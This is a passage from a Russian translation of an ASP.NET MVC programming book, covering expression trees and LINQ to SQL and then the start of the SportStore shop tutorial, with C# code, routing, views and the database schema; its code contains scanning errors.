Root node type: Add
LHS: Parameter
RHS: Parameter
Таким образом, просто заключая тип делегата в Expressiono, можно превратить add2 в структуру данных, с которой во время выполнения можно делать две разные вещи:
• скомпилировать в исполняемый делегат, просто вызвав add2 . Compile ();
• просматривать иерархию выражений (здесь это единственный узел Add, принимающий два параметра).
Более того, данными дерева выражений можно манипулировать во время выполнения, а затем скомпилировать их в исполняемый код.
Для чего все это может понадобиться? Это не просто возможность написания причудливого, самоизменяющегося кода, который поставит в тупик ваших коллег (хотя есть и такой вариант). Главная цель — позволить передавать код в виде параметра в методы API-интерфейса — не только, чтобы выполнить его, а чтобы передать некоторое другое намерение. Например, метод ASP.NET MVC по имени Html. ActionLink<T> принимает параметр типа Expression<Action<T>>. Он вызывается следующим образом:
Html.ActionLink<HomeController>(с => c.IndexO)
Лямбда-выражение компилируется в иерархию, состоящую из единственного узла MethodCall. специфицирующего метод и параметры, на которые указывает ссылка. Платформа ASP.NET MVC не компилирует и не выполняет выражение; она просто находит контроллер и действие, на которые произведена ссылка, а затем вычисляет соответствующий URL (согласно сконфигурированной маршрутизации) и возвращает гиперссылку HTML, указывающую на этот URL.
Интерфейс IQueryable<T> и LINQ to SQL
Взяв на вооружение лямбда-выражения, вы можете делать некоторые действительно умные вещи. В .NET 3.5 имеется важный новый стандартный интерфейс по имени IQueryable<T>. Он представляет отложенные запросы, которые могут быть скомпилированы во время выполнения не только в исполняемый код .NET, но теоретически во все что угодно. Самое замечательное, что компонент LINQ to SQL (включенный в .NET 3.5) предоставляет объекты IQueryable<T>, которые могут быть преобразованы в запросы SQL. Например, в коде можно построить запрос вида:
var members = (from m in myDataContext.GetTable<Member>() where m. LoginName == "Joey" select m).ToList();
В результате будет получен параметризированный (и устойчивый от атак внедрением в SQL) запрос к базе данных, который показан ниже:
SELECT [t0].[MemberlD], [tO].[LoginName], [tO].[ReputationPoints]
FROM [dbo].[Members] AS [tO]
WHERE [tO] . [LoginName] = @p0
{Params: @p0 = 'Joey'}
Как же это работает? Для начала разобьем одну строку кода C# на три части:
// [1] Получить IQueryable для представления таблицы базы данных
IQueryable<Member> membersTable = myDataContext.GetTable<Member>() ;
Глава 3. Предварительные условия 93
// [2] Преобразовать первый IQueryable в другой,
// предварив его лямбда-выражением с узлом Where()
IQueryable<Member> queryl = membersTable.Where(m => m.LoginName == "Joey") ;
II... или использовать этот синтаксис,
// который после компиляции будет эквивалентным
IQueryable<Member> query2 = from m in membersTable where m.LoginName == "Joey" select m;
/ / [ 3 ] Теперь выполнить запрос
IList<Member> results = queryl.ToList();
После шага [1] имеется объект типа System.Data.Linq.Table<Member>, реализующий IQueryable<Member>. Класс Table<Member> обрабатывает различные связанные с SQL понятия, такие как соединения, транзакции и тому подобное, но что более важно — он хранит объект лямбда-выражения, который в данный момент представляет собой просто ConstantExpression, указывающий на себя (membersTable).
На шаге [2] вызывается не Enumerable . Where () (расширяющий метод Where (), который работает на innumerable), a Queryable . Where () (расширяющий метод Where (), работающий на IQueryable). Это потому, что membersTable реализует интерфейс IQueryable, имеющий приоритет перед innumerable. Несмотря на идентичность синтаксиса, это совершенно другой расширяющий метод, который ведет себя совершенно иначе. Что делает Queryable .Where () ? Он берет лямбда-выражение (в данный момент просто ConstantExpression) и создает из него новое лямбда-выражение: иерархию, описывающую предыдущее лямбда-выражение и указанный вами выражение-предикат (т.е. m => m.LoginName = "Joey") (рис. 3.10).
Рис. 3.10. Дерево лямбда-выражения после вызова where ()
Если вы специфицируете более сложный запрос или построите запрос за несколько шагов, добавив дополнительные конструкции, произойдет то же самое. База данных при этом не участвует — каждый расширяющий метод Queryable. * просто добавляет дополнительные узлы к внутреннему лямбда-выражению, комбинируя его с любыми лямбда-выражениями, которые передаются в качестве параметров.
И, наконец, на шаге [3], во время преобразования объекта Iqueryable в List или иного перечисления его содержимого, “за кулисами" осуществляется проход по внутреннему лямбда-выражению с рекурсивным преобразованием его в синтаксис SQL. Это далеко не простой процесс: для каждой операции языка С#, которую можно использовать
94 Часть I. Введение в ASP.NET MVC
в лямбда-выражениях, предусмотрен специальный код; распознаются даже специфические вызовы общих функций (например, string. StartsWith ()). В результате иерархия лямбда-выражения может быть “скомпилирована” в максимально чистый SQL. Если в лямбда-выражении присутствуют такие вещи, которые представить в SQL невозможно (например, вызовы пользовательских функций С#), ищется путь опроса базы данных без них, а затем производится фильтрация или трансформация результирующего набора за счет вызова пользовательской функции С#. Несмотря на сложность, подобным образом выполняется успешная работа по генерации аккуратных SQL-запросов.
На заметку! LINQ to SQL также добавляет дополнительные средства ORM, которые не встроены в инфраструктуру запросов IQueryable<T>, такие как возможность отслеживания изменений, проводимых в любых объектах, которые она возвращает, с последующей записью этих изменений в базу данных.
LINQ to Everything
Интерфейс IQueryable<T> предназначен не только для применения вместе с LINQ to SQL. Те же операции запросов и возможности для построения деревьев лямбда-выражений можно использовать для опроса любых источников данных. Это может оказаться непросто, но если вы найдете способ интерпретировать деревья лямбда-выражений некоторым специальным образом, то сможете создать собственный “поставщик запросов”. Другие проекты ORM уже приступили к добавлению поддержки IQueryable<T> (например, LINQ to NHlbemate), и начинают появляться поставщики запросов для MySQL, хранилищ данных LDAP, файлов RDF, SharePoint и т.д. В качестве примера оцените элегантность LINQ to Amazon:
var mvcBooks = from book in new Amazon.BookSearch() where book.Title.Contains("ASP.NET MVC")
&& (book.Price < 49.95)
&& (book.Condition == Bookcondition.New) select book;
Резюме
В этой главе вы ознакомились с основными концепциями, положенными в основу ASP.NET MVC, а также инструментами и приемами, необходимыми для успешной вебразработки на основе новейших технологий .NET 3.5. В следующей главе вы примените эти знания для создания реального приложения электронного магазина на ASP.NET MVC. комбинируя архитектуру MVC, слабо связанные компоненты, модульное тестирование и чистую модель предметной области, построенную с помощью LINQ to SQL.
ГЛАВА 4
Реальное приложение SportStore
Вы уже знаете преимущества платформы ASP.NET MVC и ознакомились с некоторыми теоретическими концепциями, лежащими в ее основе. Теперь наступило время запустить платформу в действие и посмотреть, как все ее преимущества проявляются в реалистичном приложении электронного магазина.
Разрабатываемое приложение, называемое SportStore (магазин спорттоваров), будет следовать классическим метафорам проектирования мест онлайновой торговли: в нем будет предусмотрен каталог товаров, просматриваемый по категориям, индексная страница, корзина для покупок, куда посетители могут добавлять и удалять наименования и количество товаров, а также экран подтверждения заказа, где посетители могут вводить детальную информацию о доставке. Зарегистрированным администраторам сайта предлагаются средства CRUD (create, read, updata, delete — создание, чтение, обновление, удаление) для управления каталогом товаров. Преимущества ASP.NET MVC и связанных с ним технологий можно будет оценить, выполнив следующие условия.
•	Тщательное соблюдение архитектурных принципов MVC, дополненное применением Castle Windsor и контейнеров инверсии управления (1оС), при построении компонентов приложения.
•	Создание многократно используемых частей пользовательского интерфейса с помощью частичных представлений и вспомогательного метода Html. RenderAction ().
•	Применение System.Web.Routing для получения чистых URL, оптимизированных под поисковые механизмы.
•	Использование SQL Server, LINQ to SQL и шаблона проектирования репозиториев для построения каталога товаров на основе базы данных.
•	Создание подключаемой системы для обработки готовых заказов (реализация по умолчанию будет отправлять детали заказа по электронной почте администратору сайта).
•	Применение аутентификации с помощью форм ASP.NET Forms Authentication в целях безопасности.
96 Часть I. Введение в ASP.NET MVC
На заметку! Эта глава посвящена не демонстрационному программному обеспечению1. Она расскажет о построении солидного, полезного приложения на основе правильной архитектуры и современного передового опыта разработки. В зависимости от вашего опыта, некоторым предмет этой главы может показаться слишком медленным способом построения слоев инфраструктуры. В самом деле, применяя традиционную технологию ASP.NET WebForms, вы определенно можете получить видимые результаты быстрее, перетаскивая и расставляя элементы управления, непосредственно привязанные в базе данных SQL.
Однако, как вы убедитесь, начальные вложения в SportStore с лихвой окупятся, обеспечив сопровождаемый, расширяемый, хорошо структурированный код, отлично поддающийся автоматизированному тестированию. Вдобавок, как только основная инфраструктура будет готова (к концу этой главы), скорость дальнейшей разработки радикально возрастет.
Мы разобьем процесс построения приложения на три этапа.
•	В этой главе будет создана основная инфраструктура, или “скелет”, приложения. Он включит в себя базу данных SQL, контейнер 1оС, черновой готовый каталог товаров и быстрый веб-дизайн на основе CSS.
•	В главе 5 будет разработана основная часть средств приложения, видимых извне, включая навигацию по каталогу, корзину для покупок и процесс оформления заказа.
•	В главе 6 будут добавлены средства администрирования (т.е. CRUD для управления каталогом), аутентификация и экран входа, а также финальное расширение — возможность для администраторов загружать изображения товаров.
Модульное тестирование и разработка, управляемая тестами
Платформа ASP.NET MVC спроектирована с поддержкой модульного тестирования. На протяжении трех глав вы увидите его в действии, разрабатывая модульные тесты для множества средств и функций приложения SportStore с использованием двух популярных инструментов тестирования с открытым исходным кодом — NUnit и Moq. Это потребует написания некоторого дополнительного кода, но обеспечит значительные преимущества. Как вы увидите, это не только повысит сопровождаемость в долговременной перспективе, но также поможет в короткие сроки построить более ясную архитектуру приложения, потому что тестируемость стимулирует правильное отделение компонентов приложения друг от друга.
Материал, посвященный исключительно тестированию, в этих трех главах будет выделяться во врезки вроде этой. Если модульное тестирование или разработка, управляемая тестами (TDD), вам не интересна, можете пропускать такие врезки (от этого приложение SportStore работать не перестанет). Это доказывает, что ASP.NET MVC и модульное тестирование/TDD — абсолютно разные вещи. Чтобы воспользоваться преимуществами ASP.NET MVC, выполнять автоматизированное тестирование не понадобится. Помните, что пропуская врезки, посвященные тестированию, вы можете не понять некоторые части проекта приложения.
Итак, в этих главах методика TDD демонстрируется только там, где это имеет смысл. Многие средства проектируются и определяются за счет написания тестов перед написанием их прикладного кода, что стимулирует написание такого кода, который бы обеспечил успешных прогон этих тестов. Однако в целях удобства чтения и по той причине, что книга посвящена преимущественно ASP.NET MVC, а не TDD, в данной главе выбрана прагматичная нестрогая форма TDD. Не вся логика приложения создается в ответ на проваленные тесты. В частности, вы обнаружите, что тестирование вообще не начинается до тех пор, пока не будет готова инфраструктура 1оС.
1 Под демонстрационным программным обеспечением (demoware) подразумевается программное обеспечение, разработанное с использованием “быстрых трюков”, которые хорошо выглядят в 30-минутной презентации, но совершенно неэффективны в крупном реальном проекте (если только вы не испытываете удовольствия от ежедневного распутывания клубков загадок).
Глава 4. Реальное приложение SportStore 97
После этого основное внимание будет уделяться проектированию контроллеров и действий через тесты. Если вы ранее не имели дело с методикой TDD, то даже такой упрощенный подход даст хорошее представление об этом предмете.
Приступаем
Прежде всего, вовсе не обязательно читать эти главы, сидя перед компьютером и занимаясь написанием кода. Описания и снимки экранов должны быть достаточно ясны, даже если вы читаете, сидя в ванной2. Однако если вы хотите следить за изложением, занимаясь написанием кода, понадобится готовая среда разработки, включающая следующие средства:
1.	Visual Studio 20083.
2.	ASP.NET MVC версии 1.0.
3.	SQL Server 2005 или 2008 в виде бесплатной версии Express (доступной по адресу www .microsof t. сот/sql/editions/express/) либо любой другой.
Для получения и установки ASP.NET MVC и SQK 2008 Express можете использовать Web Platform Installer (www. microsof t. com/web/); подробная информация по этому поводу давалась в главе 2. Позднее в главе также понадобятся несколько бесплатных инструментов и каркасов с открытым кодом. Они будут представлены по ходу изложения материала.
Создание решений и проектов
Чтобы приступить к работе, откройте Visual Studio 2008 и создайте новое пустое решение по имени SportStore (выберите пункт меню File4>New4>Project (Файл^СоздатьЧ* Проект), в отобразившемся окне укажите Other Project Types4>Visual Studio Solutions (Другие типы проектов ^Решения Visual Studio) и затем Blank Solution (Пустое решение).
Если вы уже занимались разработкой в среде Visual Studio ранее, то знаете, что с целью управления сложностью решения подразделяются на коллекции подпроектов, где каждый проект представляет отдельную часть приложения. В табл. 4.1 описана структура решения, используемого при создании этого приложения.
Таблица 4.1. Проекты, которые должны быть добавлены к решению SportStore
Название проекта	Тип проекта	Назначение
Dorna inModel	Библиотека классов C#	Содержит сущности и логику, связанную с пред-
метной областью, которая подготовлена к постоянному хранению в базе данных через репозиторий, построенный с помощью LINQ to SQL.
WebUl	Веб-приложение ASP.NET MVC Содержит контроллеры и представления при-
ложения; служит пользовательским веб-интерфейсом для DomainModel.
Tests	Библиотека классов C#	Содержит модульные тесты для
DomainModel HWebUI.
2 Что, вы так и делаете? Тогда серьезно — отложите лаптоп в сторону! Вряд ли получится устроить его на коленях...
3 Вообще говоря, создать этот код можно и в бесплатной среде Visual Web Developer 2008 Express Edition c SP1 (вот уж название так название), хотя предполагается использование среды Visual Studio.
98 Часть I. Введение в ASP.NET MVC
Добавьте по очереди все три проекта, щелкая правой кнопкой на имени решения (например, Sportstore) в Solution Explorer и выбирая в контекстном меню пункт Add^New Project (Добавить1^Новый проект). При создании проекта WebUI среда Visual Studio отобразит окно с запросом: Would you like to create unit test project for this application? (Хотите ли вы создать проект модульных тестов для этого приложения?). Так как планируется создавать его вручную, щелкните на кнопке No (Нет).
По окончании структура решения должна выглядеть примерно так, как показано на рис. 4.1.
«. j3 -J "
Solution SpcrtsStare’ (3 projects)
*- 2^1 DomainMcdd
*3 Properties
References
Classi xs
-J Tests
Properties
-a References
Ctassl.cs
« 3 WebUI
Рис. 4.1. Начальная структура решения
Можете удалить оба файла Classi. cs, автоматически добавленные Visual Studio. Для облегчения отладки удостоверьтесь, что WebUI помечен как начальный проект по умолчанию (выполните щелчок правой кнопкой мыши на его имени и выберите в контекстном меню пункт Set as Startup Project (Установить как начальный проект) — его имя выделится полужирным). Теперь можно нажать <F5> для компиляции и запуска решения (рис. 4.2)4.
Рис. 4.2. Запуск приложения
4 Если будет предложено модифицировать файл web. config для включения отладки, соглашайтесь.
Глава 4. Реальное приложение SportStore 99
Если все описанное выше получилось сделать, значит, среда разработки Visual Studio/ASP.NETT MVC работает исправно. Остановите отладку, закрыв окно Internet Explorer или переключившись в Visual Studio и нажав <Shift+F5>.
Совет. При запуске проекта нажатием <F5> запускается отладчик Visual Studio и открывается новый веб-браузер. В качестве быстрой альтернативы оставьте приложение открытым в отдельном экземпляре браузера. Для этого, при условии, что отладчик запускался хотя бы однажды, найдите в системном лотке пиктограмму ASP.NET Development Server (Сервер разработки ASP.NET), как показано на рис. 4.3, щелкните на ней правой кнопкой мыши и выберите в контекстном меню пункт Open in Web Browser (Открыть в веб-браузере).
После этого при каждом изменении приложения SportStore не придется заново запускать сеанс отладки для его проверки. Понадобится просто перекомпилировать решение, переключиться на этот отдельный экземпляр браузера и щелкнуть на кнопке Обновить (F5). Это намного быстрее!
Stop
Show Details
'——----—
“ ht,
Щелкните на пиктограмме правой кнопкой мыши
< У Ф’ 1Z13
Рис. 4.3. Запуск приложения в отдельном экземпляре браузера
Построение модели предметной области
Модель предметной области — сердце приложения, поэтому имеет смысл начать с нее. Посколыгу это будет приложение электронного магазина, наиболее очевидная сущность предметной области, которая понадобится — это товар. Создайте новую папку по имени Entities внутри проекта DomainModel и добавьте новый класс C# под названием Product (рис. 4.4).
Solution Explorer * Solution ‘SpcitsSicre' (3 prejects)	v Д X
J и Д
Solution ’SpcrtsStcre’ 13 projectsj
t-" -2^ DomainModel
й-;	Properties
•	References
Entities
3 Tests
* Properties
да» References
+ f| WebUI
Рис. 4.4. Добавление класса Product
Пока трудно сказать точно, какие свойства должны быть предусмотрены для описания товара, так что давайте начнем с наиболее очевидных. Если потребуются другие, вы всегда сможете добавить их позже.
100 Часть I. Введение в ASP.NET MVC
namespace DomainModel.Entities {
public class Product {
public	int ProductID	{ get;	set; }
public	string Name {	get; set; }	
publxc	string Description {		get; set; }
public	decimal Price	{ get;	set; }
public string Category { get; set; }
}
}
Конечно, этот класс должен быть помечен как public, а не internal, поскольку нужно обеспечить доступ к нему из других проектов.
Создание абстрактного репозитория
Нам понадобится какой-то способ получения сущностей Product из базы данных, а, как известно из главы 3, логику постоянного хранения имеет смысл помещать не в сам класс Product, а держать отдельно, для чего воспользоваться шаблоном Repository (репозиторий). Давайте пока не будем беспокоиться о том, как должен работать внутренний механизм доступа к данным, а пока просто определим интерфейс для него.
Создайте новую папку верхнего уровня внутри DomainModel под названием Abstract и добавьте в нее новый интерфейс5 — IProductsRepository:
namespace DomainModel-Abstract
{
public interface IProductsRepository
{
IQueryable<Product> Products { get; }
}
}
В этом коде используется интерфейс IQueryable для публикации объектно-ориентированного представления некоторого внутреннего хранилища данных Product (не углубляясь в детали работы хранилища данных). Потребитель интерфейса IProductsRepository может получить актуальные экземпляры Product, соответствующие спецификации (т.е. запросу LINQ), ничего не зная о хранилище или механизме их извлечения. В этом и состоит сущность шаблона Repository6.
Внимание! На протяжении этой главы (и всей книги) вы не встретите частых напоминаний по поводу добавления операторов using для всех необходимых пространств имен. Это потребовало бы слишком много места, было бы утомительным, да и все равно вы легко догадаетесь о необходимости их добавления. Например, если сейчас попробовать скомпилировать решение (нажав <Ctrl+Shift+B>), появится сообщение об ошибке The type or namespace ’Product' could not be found (Тип или пространство имен Product не найдено); по нему несложно догадаться, что нужно добавить оператор using DomainModel.Entities; в начало IProductsRepository.cs.
5 Щелкните правой кнопкой мыши на папке Abstract, выберите в контекстном меню пункт Add^New Item {Добавиться1овый элемент) и затем выберите Interface (Интерфейс).
6 Примечание для энтузиастов шаблонов проектирования: первоначальное определение репозитория, данное Мартином Фаулером и Эриком Эвансом, предшествовало элегантному API-интерфейсу IQueryable и потому требует больше ручной работы для реализации. Но конечный результат, если считать запросы LINQ спецификациями, по сути, тот же самый.
Глава 4. Реальное приложение SportStore 101
Вместо того чтобы делать это вручную, поместите каретку на имя класса-виновника ошибки в исходном коде (в данном случае — на имя Product, которое будет подчеркнуто, что обозначает ошибку компиляции) и нажмите <Ctrl+.>. Среда Visual Studio определит, какое пространство имен необходимо импортировать, и добавит оператор using автоматически. (Если это не сработает, значит, либо неправильно введено имя класса, либо в проект должна быть добавлена ссылка на сборку. В последующих описаниях проектов всегда будет указано, на какие сборки необходимо ссылаться.)
Создание фиктивного репозитория
Теперь, имея абстрактный репозиторий, можно создать его конкретную реализацию, используя для этого любую базу данных или технологию ORM по своему выбору. Это довольно кропотливая работа, поэтому давайте пока не будем отвлекаться — фиктивного репозитория на основе коллекции объектов в памяти вполне достаточно для обеспечения некоторого действия в веб-браузере. Добавьте еще одну папку верхнего уровня по имени Concrete в DomainModel и поместите в нее класс C# под названием FakeProductsRepository.cs:
namespace DomainModel.Concrete
{
public class FakeProductsRepository : IProductsRepository {
// Фиктивный жестко закодированный список товаров
private static IQueryable<Product> fakeProducts = new List<Product> { new Product { Name = "Football", Price = 25 },
new Product { Name = "Surf board", Price = 179 },
new Product { Name = "Running shoes”. Price = 95 }
}.AsQueryable();
public IQueryable<Product> Products
{
get { return fakeProducts; }
}
}
}
Совет. Самый быстрый способ реализации интерфейса предусматривает ввод имени интерфейса (например, public class FakeProductsRepository : IproductsRepository), щелчок правой кнопкой мыши на имени интерфейса и выбор в контекстном меню пункта Implement Interface (Реализовать интерфейс). Среда Visual Studio добавляет набор заготовок методов и свойств, удовлетворяющий определению интерфейса.
Отображение списка товаров
Остаток дня вполне можно было бы потратить на добавление средств и поведения к модели предметной области, проверяя с помощью модульных тестов каждый поведенческий аспект, и при этом не касаясь ни проекта веб-приложения ASP.NET MVC (WebUI), ни даже веб-браузера. Такой подход хорош при наличии нескольких разработчиков в команде, каждый из которых занимается своим компонентом приложения. Он также приемлем, когда имеется четкое представление о необходимых средствах модели предметной области. Но в данном случае вы строите все приложение в одиночку, поэтому хочется как можно скорее получить наглядные результаты.
В этом разделе вы приступаете к использованию ASP.NET MVC. создав класс контроллера и метод действия, который может отобразить список товаров из репозитория (поначалу — из FakeProductsRepository). Начальная конфигурация маршрутизации
102 Часть I. Введение в ASP.NET MVC
будет настроена так, чтобы список товаров появлялся, когда посетитель обращается в браузере к домашней странице приложения SportStore.
Удаление ненужных файлов
Как и в примере Partyinvites из главы 2, мы удалим из проекта WebUI набор ненужных файлов, которые по умолчанию включаются шаблоном проекта ASP.NET MVC. Для SportStore нам не нужен скелет мини-приложения, потому что он затруднит понимание того, что происходит. Таким образом, воспользуйтесь Solution Explorer для удаления из проекта WebUI следующих папок и файлов:
•	/App_Data
•	/Content/Site.css
•	/Controllers/HomeController.cs и /Controllers/AccountController.cs (но оставьте папку /Controllers)
•	папки /Views/Ноте и /Views/Account вместе co всеми файлами
•	/Views/Shared/Error.aspx
•	/Views/Shared/LogOnUserControl. ascx
После этого останутся только самые базовые механизмы и ссылки на сборки, необходимые для ASP.NET MVC, плюс несколько файлов и папок, которые будут использоваться позже.
Добавление первого контроллера
Имея такой чистый фундамент, можно приступать к построению набора контроллеров, действительно необходимых приложению. Начнем с добавления первого контроллера, который будет отвечать за отображение списка товаров.
В окне Solution Explorer щелкните правой кнопкой мыши на папке Controllers (в проекте WebUI) и выберите кконтекстном меню пункт Addd> Controller (Добавить^Контроллер). В появившемся окне приглашения введите ProductsController. Не отмечайте флажок Add action methods for Create, Update, and Details scenarios (Добавить методы действий для сценариев создания, обновления и удаления), потому что эта опция генерирует крупный блок кода, который здесь не нужен.
Удалите стандартные заготовки методов действий, которые Visual Studio сгенерирует по умолчанию, оставив класс ProductsController пустым:
namespace WebUI.Controllers
1
public class ProductsController : Controller
{
1
1
Чтобы отобразить список товаров, ProductsController должен обращаться к данным о товарах, используя ссылку на некоторый интерфейс IProductsRepository. Поскольку этот интерфейс определен в проекте DomainModel, добавьте в WebUI ссылку на проект DomainModel7. Благодаря этому, ProductsController получает доступ к IProductsRepository через переменную-член, заполненную в конструкторе:
7 В окне Solution Explorer щелкните правой кнопкой мыши на имени проекта WebUI и выберите к контекстном меню пункт Add Reference (Добавить ссылку). На вкладке Projects (Проекты) открывшегося окна выберите DomainModel.
Глава 4. Реальное приложение SportStore 103
public class ProductsController : Controller {
private IProductsRepository productsRepository;
public ProductsController() {
// Это временно, пока не будет готова инфраструктура productsRepository = new FakeProductsRepository();
}
}
На заметку! Чтобы это скомпилировалось, понадобится также добавить операторы using DomainModel .Abstract; и using DomainModel. Concrete;. Это последнее напоминание о пространствах имен; далее вы должны не забывать делать это сами. Как было описано ранее, среда Visual Studio сама найдет и добавит корректное пространство имен, когда вы установите каретку на соответствующее имя класса и нажмете комбинацию <Ctrl+.>.
На данный момент контроллер имеет жестко закодированную зависимость от FakeProductsRepository. Позднее вы избавитесь от этой зависимости, применив контейнер 1оС, а пока стоит заняться построением инфраструктуры.
Добавьте метод действия List (), который визуализирует представление, демонстрирующее полный список товаров:
public class ProductsController : Controller
{
private IProductsRepository productsRepository;
public ProductsController() {
// Это временно, пока не будет готова инфраструктура productsRepository = new FakeProductsRepository();
}
public ViewResult List()
{
return View(productsRepository.Products.ToList()) ;
}
}
Как говорилось в главе 2, подобный вызов View () (без явного имени представления) заставляет ASP.NET MVC визуализировать “стандартный” шаблон представления для метода List (). Передавая productsRepository. Products . ToList () методу View (), мы заставляет его наполнить Model (объект, используемый для отправки строго типизированных данных шаблону представления) списком объектов-товаров.
Настройка маршрута по умолчанию
Итак, у вас есть класс контроллера, указывающий на некоторые подходящие для визуализации данные, но каким образом MVC узнает, когда вызывать его? Как упоминалось ранее, существует система маршрутизации, которая определяет, как URL отображаются на контроллеры и действия. Сейчас мы настроим конфигурацию маршрутизации, которая ассоциирует корневой URL сайта (http: / / сайт/) с действием Li st () контроллера ProductsController.
Взглянем на код в файле Global. asax. cs (корень WebUI):
public class MvcApplication : System.Web.HttpApplication {
public static void RegisterRoutes(Routecollection routes)
{
104 Часть I. Введение в ASP.NET MVC
routes.IgnoreRoute("{resource}.axd/{*pathlnfо}");
routes.MapRoute(
"Default",	// Имя маршрута
"{controller}/{action}/{id}",	// URL
new { controller = "Home", action = "Index", id = "" } // Установки //по умолчанию );
}
protected void Application_Start() {
RegisterRoutes(RouteTable.Routes);
}
}
Подробные сведения о маршрутизации будут даны в главе 8, а пока достаточно знать, что этот код запускается при первоначальном старте приложения (см. обработчик Application start) и конфигурирует систему маршрутизации. Эта конфигурация по умолчанию отсылает посетителей к действию под названием Index контроллера Homecontroller. Но все это уже отсутствует в проекте, потому обновите определение маршрута, заменив его действием по имени List из ProductsController:
routes.MapRoute(
"Default",	// Имя маршрута
"{controller}/{action}/{id}",	// URL
new { controller - "Products", action = "List", id = "" } // Установки //по умолчанию
) ;
Обратите внимание, что понадобилось написать только Products, а не ProductsController -=- это одно из соглашений об именовании, принятых в ASP.NET MVC (имя класса контроллера всегда закончивается фрагментом Controller, и эта часть из элементов маршрута исключается).
Добавление первого представления
Если в данный момент запустить проект, то будет выполнен метод List () класса ProductsController, однако он сгенерирует ошибку со следующим сообщением: The view ‘List’ or its master could not be found. The following locations were searched: -/Views/ Products/List.aspx . . . (Представление ‘List’ или его владелец не найдены. Поиск выполнялся в следующих местоположениях: ~/Views/Products/List.aspx . . .). Это объясняется тем, что вы предписали визуализировать представление по умолчанию, тогда как оно не существует. Самое время создать его.
Вернитесь к файлу ProductsController. cs, щелкните правой кнопкой мыши в теле метода List () и выберите в контекстном меню пункт Add View (Добавить представление). Это представление будет визуализировать список экземпляров Product, поэтому в появившемся всплывающем окне отметьте флажок Create a strongly typed view (Создать строго типизированное представление), а в раскрывающемся списке View data Class (Класс данных представления) выберите класс DomainModel. Entities . Product. Мы будем визуализировать последовательность товаров, а не единственный товар, поэтому заключите имя, выбранное в списке View data class, в TEnumerable<. . .>8.
8 Можно было бы использовать IList<Product> или даже List<Product>, но нет причин требовать такого специфического типа, когда подойдет любой IEnumerable<Product>. Вообще говоря, всегда лучше применять наименее ограничивающий тип, который отвечает существующим потребностям (тип, который и необходим, и достаточен).
Глава 4. Реальное приложение SportStore 105
Настройки мастер-страницы по умолчанию можно оставить без изменений, потому что в этом примере они будут использоваться. Окончательная конфигурация опций показана на рис. 4.5.
Рис. 4.5. Опции, используемые при создании представления для метода List () класса ProductsController
После щелчка на кнопке Add (Добавить) Visual Studio создаст новый шаблон представления в месте, выбранном по умолчанию для действия List, которым является ~/Views/Products/List.aspx.
Вы уже знаете, что метод List () класса ProductsController наполняет Model экземплярами IEnumerable<Product>, передавая productsRepository. Products . ToList () при вызове View (), так что можете заполнить этот базовый шаблон представления для отображения последовательности товаров:
<%@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/Site.Master"
Inherits="System.Web.Mvc.ViewPage<IEnumerable<DomainModel.Entities. Product»" %>
<asp:Content ContentPlaceHolderID="TitleContent" runat="server"» Products
</asp:Content»
<asp:Content ContentPlaceHolderID="MainContent" runat="server">
<% foreach (var product in Model) { %>
<div class="item">
<h3X%= product.Name %X/h3>
<%= product.Description %>
<h4X%= product. Price. ToString ("c") %X/h4>
</div>
<% } %>
</asp:Content»
На заметку! В этом шаблоне используется метод форматирования строк . ToString (" с "), который визуализирует числовые величины в виде денежных единиц, соответствующих локальным настройкам сервера. Например, если сервер настроен в режиме en-US, то (1002.3) .ToString("c") вернет $1,002.30, а если в режиме ru-RU — то 1 002,30р. Если приложение должно работать в режиме, отличном от установленного на сервере, добавьте к узлу <system. web> файла web. config следующий узел: <globalization culture="ru~RU" uiCulture="ru-RU" />.
106 Часть I. Введение в ASP.NET MVC
И последний момент: откройте мастер-страницу /views/Shared/Site .Master и удалите из нее почти все, что среда Visual Studio поместила туда по умолчанию, оставив лишь следующий минимум:
<%@ Master Language="C#" Inherits="System.Web.Mvc.ViewMasterPage" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<titlexasp:ContentPlaceHolder ID="TitleContent" runat="server" /></title> </head>
<body>
<asp:ContentPlaceHolder ID="MainContent" runat="server" />
</body>
</html>
Теперь можно запустить проект вновь (нажмите <F5> или скомпилируйте и перегрузите страницу, если вы используете отдельный экземпляр браузера). Как видно на рис. 4.6, контроллер ProductsController визуализирует все данные, хранящиеся в репозитории FakeProductsRepository.
Рис. 4.6. ProductsController визуализирует данные из FakeProductsRepository
Подключение к базе данных
Появление возможности отображать список товаров из IProductsRepository означает, что вы на правильном пути. К сожалению, пока что есть только фиктивный репозиторий FakeProductsRepository, который содержит в себе жестко закодированный список, а это совершенно не годится для реального приложения. Наступил момент создать другую реализацию IProductsRepository, на этот раз способную подключаться к базе данных SQL Server.
Определение схемы базы данных
Выполняя следующие шаги, вы создадите новую базу данных SQL с таблицей Products, которая содержит некоторые тестовые данные, используя для этого встроенные в Visual Studio 2008 средства управления базами данных. То же самое можно сделать и с помощью инструмента SQL Server Management Studio (или SQL Server Management Studio Express в случае линейки Express), если вам он больше нравится.
Глава 4. Реальное приложение SportStore 107
В среде Visual Studio откройте Server Explorer (через меню View (Вид)), щелкните правой кнопкой мыши на узле Data Connections (Соединения с данными) и выберите в контекстном меню пункт Create New SQL Server Database (Создать новую базу данных SQL Server). Подключитесь к серверу баз данных и создайте новую базу по имени SportStore (рис. 4.7).
Рис. 4.7. Создание новой базы данных с использованием SQL Server Management Studio
После создания новая база данных появится в списке соединений с данными окна Server Explorer. Теперь добавьте новую таблицу (раскройте узел базы данных SportStore, щелкните правой кнопкой мыши на узле Tables (Таблицы) и выберите в контекстном меню пункт Add New Table (Добавить новую таблицу)) со столбцами, перечисленными в табл. 4.2.
Таблица 4.2. Столбцы новой таблицы
Имя столбца	Тип данных	Допускает значения null	Дополнительные характеристики
ProductID	I nt	Нет	Первичный ключ/идентифицирующий столбец (щелкните правой кнопкой мыши на столбце ProductID и выберите в контекстном меню Set Primary Key (Установить первичный ключ), затем в окне Column Properties (Свойства столбца) раскройте узел Identity Specifications (Идентификация) и установите свойство (Is Identity) в Yes (Да)).
Name	nvarchar(100)	Нет	—
Description	nvarchar(500)	Нет	—
Category	nvarchar(50)	Нет	—
Price	decimal(16, 2)	Нет	—
108 Часть I. Введение в ASP.NET MVC
После добавления этих столбцов окно схема таблицы в Visual Studio будет выглядеть так, как показано на рис. 4.8.
dbo.Tabiel: Table...nce.SportsStore)*		
Column Name	Data Type	Allow Nulls
’	| Product©	j int	
